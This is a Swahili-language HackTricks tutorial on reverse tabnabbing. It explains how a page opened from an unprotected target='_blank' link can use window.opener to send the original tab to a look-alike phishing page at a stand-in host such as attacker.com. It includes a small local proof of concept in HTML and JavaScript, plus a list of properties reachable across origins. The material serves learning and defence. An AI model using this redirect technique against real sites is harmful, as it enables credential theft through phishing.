tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Maelezo

Katika hali ambapo mshambuliaji anaweza kudhibiti hoja ya href ya <a tag yenye sifa target="_blank" rel="opener" ambayo itabonyezwa na mwathirika, mshambuliaji anaweza elekeza kiungo hiki kwenye wavuti chini ya udhibiti wake (tovuti mbaya). Kisha, mara tu mwathirika anapobonyeza kiungo na kufikia wavuti ya mshambuliaji, tovuti hii mbaya itakuwa na uwezo wa kudhibiti ukurasa wa asili kupitia kitu cha javascript window.opener.
Ikiwa ukurasa huna rel="opener" lakini ina target="_blank" na pia haina rel="noopener" inaweza kuwa na hatari pia.

Njia ya kawaida ya kutumia tabia hii ni kubadilisha eneo la wavuti ya asili kupitia window.opener.location = https://attacker.com/victim.html kwa wavuti inayodhibitiwa na mshambuliaji ambayo inafanana na ile ya asili, ili iweze kuiga fomu ya kuingia ya wavuti ya asili na kuomba taarifa za kuingia kutoka kwa mtumiaji.

Hata hivyo, kumbuka kwamba sasa mshambuliaji anaweza kudhibiti kituo cha dirisha cha wavuti ya asili anaweza kuitumia vibaya kwa njia nyingine ili kutekeleza shambulio la siri (labda kubadilisha matukio ya javascript ili kuhamasisha taarifa kwa seva inayodhibitiwa na yeye?)

Muhtasari

Pamoja na kiungo cha nyuma

Kiungo kati ya kurasa za mzazi na mtoto wakati sifa ya kuzuia haitumiki:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Bila kiungo cha nyuma

Kiungo kati ya kurasa za mzazi na mtoto wakati sifa ya kuzuia inatumika:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Mifano

Unda kurasa zifuatazo katika folda na endesha seva ya wavuti kwa python3 -m http.server
Kisha, fikia http://127.0.0.1:8000/vulnerable.html, bonyeza kwenye kiungo na uone jinsi URL ya tovuti ya asili inavyobadilika.

vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

Mali ya kupatikana

Katika hali ambapo cross-origin inatokea (ufikiaji kati ya maeneo tofauti), mali za mfano wa darasa la JavaScript la window, zinazorejelewa na kiashiria cha kitu cha JavaScript opener, ambazo zinaweza kufikiwa na tovuti mbaya zimepunguzwa kwa yafuatayo:

  • opener.closed: Mali hii inafikiwa ili kubaini kama dirisha limefungwa, ikirudisha thamani ya boolean.
  • opener.frames: Mali hii inatoa ufikiaji kwa vipengele vyote vya iframe ndani ya dirisha la sasa.
  • opener.length: Idadi ya vipengele vya iframe vilivyopo katika dirisha la sasa inarudishwa na mali hii.
  • opener.opener: Kiashiria kwa dirisha lililofungua dirisha la sasa linaweza kupatikana kupitia mali hii.
  • opener.parent: Mali hii inarudisha dirisha la mzazi la dirisha la sasa.
  • opener.self: Ufikiaji wa dirisha la sasa mwenyewe unapatikana kupitia mali hii.
  • opener.top: Mali hii inarudisha dirisha la kivinjari lililo juu kabisa.

Hata hivyo, katika matukio ambapo maeneo ni sawa, tovuti mbaya inapata ufikiaji wa mali zote zilizofichuliwa na window kiashiria cha JavaScript.

Kinga

Taarifa za kinga zimeandikwa katika HTML5 Cheat Sheet.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks